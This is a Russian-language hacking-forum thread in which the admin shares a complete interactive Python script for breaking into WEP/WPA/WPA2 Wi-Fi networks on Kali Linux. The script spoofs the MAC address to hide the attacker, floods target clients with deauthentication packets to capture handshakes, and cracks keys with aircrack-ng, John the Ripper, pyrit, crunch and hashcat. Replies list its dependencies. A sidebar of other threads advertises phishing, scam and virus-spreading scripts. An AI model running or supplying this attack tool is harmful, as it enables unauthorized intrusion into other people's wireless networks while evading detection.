Скрипт хака WEP/WPA/WPA2 для Kali

Admin

Original poster
Administrator
Сообщения
916
Реакции
753
Посетить сайт
Скрипт на Python. Работает только под Linux! Интерактивен. Запустил -> Ответил на запросы -> пошел хак.

Код:
# Semi-automatic and simple (but working!) WEP/WPA/WPA2 Hacking script
# External tools involved: Aircrack-ng pack, John the Ripper, Hashcat Ocl, Pyrit, Crunch, xterm.
# Author: D35m0nd142
# Before use it you may have to execute: "pip install termcolor"

#!/usr/bin/python
# -*- coding: utf-8 -*-
import os, sys, time
from termcolor import colored

def killctrl():
    os.system("airmon-ng check kill")

wlist = ""
print "\n+===========================================================================+"
print "| DWH - Simple (but working) WEP/WPA/WPA2 Hacking script                    |"
print "| Author: D35m0nd142, https://twitter.com/d35m0nd142                        |"
print "| Usage: Just run it and let it head you :)                                 |"
print "+===========================================================================+\n"
time.sleep(1.5)

print "[*] Removing useless files..."
os.system("rm -rf capture* || true")
print "[*] Stopping (if existent) previous monitor modes..."
os.system("airmon-ng stop mon0 > dwhs_out.txt && rm dwhs_out.txt")
os.system("ifconfig mon0 down")
print "[*] Rising permissions...\n";
os.system("chmod 777 *")
print colored("[SUCCESS] OK, I am ready to start now! ;)\n", 'yellow')
os.system("airmon-ng")
inf = raw_input("Enter your network interface -> ")
print "[*] Spoofing MAC Address to hide your ass...\n"
cmd = "macchanger -r %s" %inf
os.system(cmd)
cmd = "airmon-ng start %s > processes.txt" %inf
os.system(cmd)
killctrl()
print "[WARNING] Press CTRL-C when you find the network you want to hack."
time.sleep(3)
os.system("airodump-ng mon0")
enc = raw_input("Enter the encryption of the network -> ")
bssid = raw_input("Enter the BSSID of the network you want to hack -> ")
ssid = raw_input("Enter the ESSID of the network you have chosen -> ")
ch = raw_input("Enter the channel on which the network is listening -> ")
cmd = "xterm -hold -e \"airodump-ng -w capture_file --bssid %s -c %s mon0\" &" %(bssid, ch)
os.system(cmd)

def client_send():
    client = raw_input("Enter the BSSID (STATION) of a client connected to the network -> ")
    cmd = "aireplay-ng -0 10 -a %s -c %s mon0" %(bssid, client)
    for count in range(1,15):
        os.system(cmd)

    print colored("[WARNING] Check if \"WPA Handshake\" appeared in the other shell. Otherwise it is useless to go on!\n", 'red')
    time.sleep(1)

# WPA/WPA2 Hacking
if(enc == "WPA" or enc == "WPA2" or enc == "wpa" or enc == "wpa2"):
    retry = "y"
    while(retry == "y" or retry == "Y" or retry == "yes"):
        client_send()
        retry = raw_input("Do you want to try with another connected client? [necessary if handshake did not appear] (y/n) ")

    print "\n[*] Choose how to crack encrypted data: \n"
    print "  1) Wordlist"
    print "  2) BruteForce (Crunch with letters and numbers)"
    print "  3) JTR"
    print "  4) JTR+Pyrit"
    print "  5) JTR+Aircrack"
    print "  6) Hashcat"
    choice = raw_input("\n  -> ")

    if(choice == "1" or choice == "5" or choice == "6"):
        wlist = raw_input("\n[*] Enter your wordlist -> ")

    if(choice == "1"):
        cmd = "aircrack-ng capture_file-01.cap -w ./%s" %wlist
    elif(choice == "2"):
        cmd = "crunch 8 20 abcdefghilmnopqrstuvwyxzkjABCDEFGHILMNOPQRSTUWYXZJ0123456789 | aircrack-ng -b %s capture_file-01.cap -w - -e %s" %(bssid, ssid)
    elif(choice == "3"):
        cmd = "john --incremental=all --stdout | aircrack-ng -b %s capture_file-01.cap -w - -e %s" %(bssid, ssid)
    elif(choice == "4"):
        cmd = "john --incremental=all --stdout | pyrit -r capture_file-01.cap -b %s -i - attack_passthrough" %(bssid)
    elif(choice == "5"):
        cmd = "john --stdout --wordlist=%s | aircrack-ng -b %s -e %s -w - capture_file-01.cap" %(wlist,bssid, ssid)
    else:
        os.system("aircrack-ng capture_file-01.cap -J hcfile")
        print colored("[WARNING] Hashcat module provides 3 different attacks. Stop the current one by yourself in case the previous one has been successfull.","red")
        time.sleep(2)
        print "[*] Using Hashcat Dictionary attack..."
        time.sleep(1)
        cmd = "hashcat -m 2500 hcfile.hccap %s" %wlist
        os.system(cmd)
        time.sleep(1)
        print "\n[*] Using Hashcat Rule-based attack..."
        time.sleep(1)
        cmd = "hashcat -m 2500 -r rules/best64.rule hcfile.hccap %s" %wlist
        os.system(cmd)
        time.sleep(1)
        print "\n[*] Using Hashcat Brute-Force attack..."
        time.sleep(1)
        print """\n  ?l = abcdefghijklmnopqrstuvwxyz
  ?u = ABCDEFGHIJKLMNOPQRSTUVWXYZ
  ?d = 0123456789
  ?s =  space\"#$%&'()*+,-./:;<=>?@[\]^_`{|}~"
  ?a = ?l?u?d?s
  ?b = 0x00 - 0xff\n"""
        brute = raw_input("Enter your bruteforce custom-charset (ex: ?l?d) -> ")
        string = ""
        found = False
        try:
            os.remove("dwhs_dec.txt")
        except:
            pass
        while(found is False): # This loop was implemented keeping in mind Hashcat 0.49. If you have Hashcat 0.50 you can use "--increment" flag and
                               # replace this piece of code. As you wish.
            string = string + "?1"
            pwmin = len(string)/2
            print "..Using %s characters.." %pwmin
            time.sleep(0.3)
            cmd = "hashcat -m 2500 -a 3 -n 32 --custom-charset1=%s --pw-min=%s hcfile.hccap %s -o dwhs_dec.txt" %(brute,pwmin,string)
            os.system(cmd)
            with open('dwhs_dec.txt') as f:
                if(len(f.read()) > 0):
                    found = True
    if(choice == "1" or choice == "2" or choice == "3" or choice == "4" or choice == "5"):
        os.system(cmd)

# WEP Hacking
else:
    cmd = "aireplay-ng -1 0 -a %s mon0" %bssid
    os.system(cmd) # check if AUTH is OPN
    cmd = "xterm -hold -e \"aireplay-ng -3 -b %s mon0\" &" %bssid
    os.system(cmd)   
    cmd = "aireplay-ng -0 0 -a %s mon0" %bssid # it speeds up retrieving packets
    for count in range(1,7):
        os.system(cmd)   
    goon = raw_input("\n[WARNING] Wait until you got AT LEAST 30K packets, then press ENTER to go on...")
    cmd = "aircrack-ng capture_file-01.cap"
    os.system(cmd)

print "Bye ;-)\n"

# siph0n [2016-04-02 http://ufolabs.pro]
 
J

John_Mnemonik


Авторизируйтесь или Зарегистрируйтесь что бы просматривать ссылки.


и его зависимости
External tools involved:

  • Aircrack-ng (full pack)
  • John The Ripper
  • Hashcat Ocl (based on Hashcat Ocl 0.49, read the comment inside the source code)
  • Pyrit
  • Crunch
and it is necessary the unix terminal emulator "xterm".
 
J

John_Mnemonik

Hashcat Ocl заработает только на Кали с дровами на видео и CUDA (если у вас Nvidia)
 
J

John_Mnemonik

вопрос немного не по теме, пробовал кто подрубить такую хреновину к кали, а то чет у меня кали не видит ее

Авторизируйтесь или Зарегистрируйтесь что бы просматривать ссылки.

ну там чипсет наверное какой-то ускоглазый, вот ядро его и не поддерживает
 
J

John_Mnemonik

Вот ещё интересный скрипт для людей, которые только начинают знакомиться с Кали или чем там ещё ) Забрал видос с ютуба, хозяин не против.

 
Название темы
Автор Заголовок Раздел Ответы Дата
lonesttar Ожидает оплаты Скрипт бота по аренде виртуальных номеров + бот техподдержка! Продажа софта 0
lonesttar Ожидает оплаты Скрипт бота по аренде прокси + бот техподдержка! Продажа софта 0
Mr Crabs Продам Скрипт ПП для продажи инфотоваров Куплю/Продам 1
balof [Steam] Скрипт для получении карточек с премии Раздача (аккаунтов/ключей) 1
balof Скрипт на Летнюю распродажу Steam Другое 0
Denik Интересно Скрипт сайта "Bitwallet" Другое 1
Denik Интересно Скрипт фишинга VK MINI Другое 0
zladey1986 Продам Скрипт приема платежей p2p с карты на карту Все что не подошло по разделу 3
A Скрипт: Автоучастие в розыгрышах lоlzteam Cracked & Remastered by PC-RET Бруты/Парсеры/Чекеры 0
Mr Crabs Продам Скрипт магазина для продажи аккаунтов Сайты/Хостинг/Сервера 2
P Скрипт онлайн игры Flower Field Продажа софта 0
zladey1986 Продам Скрипт прием платежей p2p, card 2 card (с карты на карту) Все что не подошло по разделу 1
P Продам Скрипт rtb exchange suite - система перепродажи трафика dsp/ssp в реальном времени. Сайты/Хостинг/Сервера 1
Denik Интересно Скрипт онлайн рулетки с денежными кейсами / Еgger/ Другое 1
K Продам Скрипт казино Goldsvet 7.1 MRS (рулетка club) NULLED Сайты/Хостинг/Сервера 9
Denik Интересно Скрипт социальной сети / DCMS-SOCIAL/ Другое 0
Denik Интересно Скрипт онлайн / CASINO ONLINE SCRIPT/ Другое 4
Denik Интересно Скрипт бонусника /CASHPAY/ Другое 0
Denik Интересно Скрипт игры с выводом денег /FIXNOVA/ Другое 0
Denik Интересно Скрипт лотереи /XBET-LOTO/ Другое 0
Denik Интересно Скрипт Рулетки /EBABKI/ Другое 1
Denik Интересно Скрипт /Bitcoin обменника/ Другое 2
Denik Интересно Скрипт / Система Скайворк/ Другое 2
Denik Интересно Скрипт для продажи игр.скриптов Другое 0
Denik Интересно Скрипт Bitcoin Mining Другое 0
Denik Интересно Скрипт интернет магазин цифровых_товаров Другое 4
Denik Интересно Скрипт моментальной лотереи Другие ЯП 6
Uno-uno Интересно Скрипт EASYDROP +Админка +Бот Другое 3
K Скрипт платежной системы PayMaster Другое 1
K Скрипт новых кейсов с подарками RanBox Другое 0
E Скрипт продажи Яндекс колонки [Скам] Способы заработка 0
E Кроссовки за 990 рублей | Скрипт [СКАМ] Способы заработка 4
R [Exchanger Store] Скрипт интернет обменника валют Продажа софта 14
B Скрипт казино 2019 Корзина 0
Mr Crabs Продам Скрипт новостной витрины Куплю/Продам 5
Mr Crabs Продам Скрипт партнёрской программы по продаже инфопродуктов Сайты/Хостинг/Сервера 2
B Скрипт раздачи ключиков для Steam Полезные статьи 1
D Скрипт «Install Pack» для EXE\APK Инсталов Трафик, загрузки, инсталлы, iframe 0
Admin Скрипт поднятия VPN SSH / дедики / Vpn / Proxy / Socks 0
D Скрипт гарант сервиса Другие ЯП 0
D Скрипт для распространения вашего вируса Другие ЯП 0
R Скрипт фишинга STEAM+шаблоны Другие ЯП 0
S Скрипт для Скама LEON Другое 0
G Скрипт для фарма сувенирных наборов csgo Другое 1
S Скрипт массового клонирования(проксирования) сайтов Полезные статьи 0
R Скрипт фарма пятёрочки (Бесплатно) Софт для работы с текстом/Другой софт 6
G mac-camo Скрипт изменения mac адреса Kali Linux 0
H Скрипт магазина аккаунтов TAKKY-STORE(Полный) Другие ЯП 0
R "sellify-3.0 - Скрипт Покупки И Продажи Цифровых Товаров" Sellfy.com Другие ЯП 0
R Скрипт, который продавался за 2к Другие ЯП 1

Название темы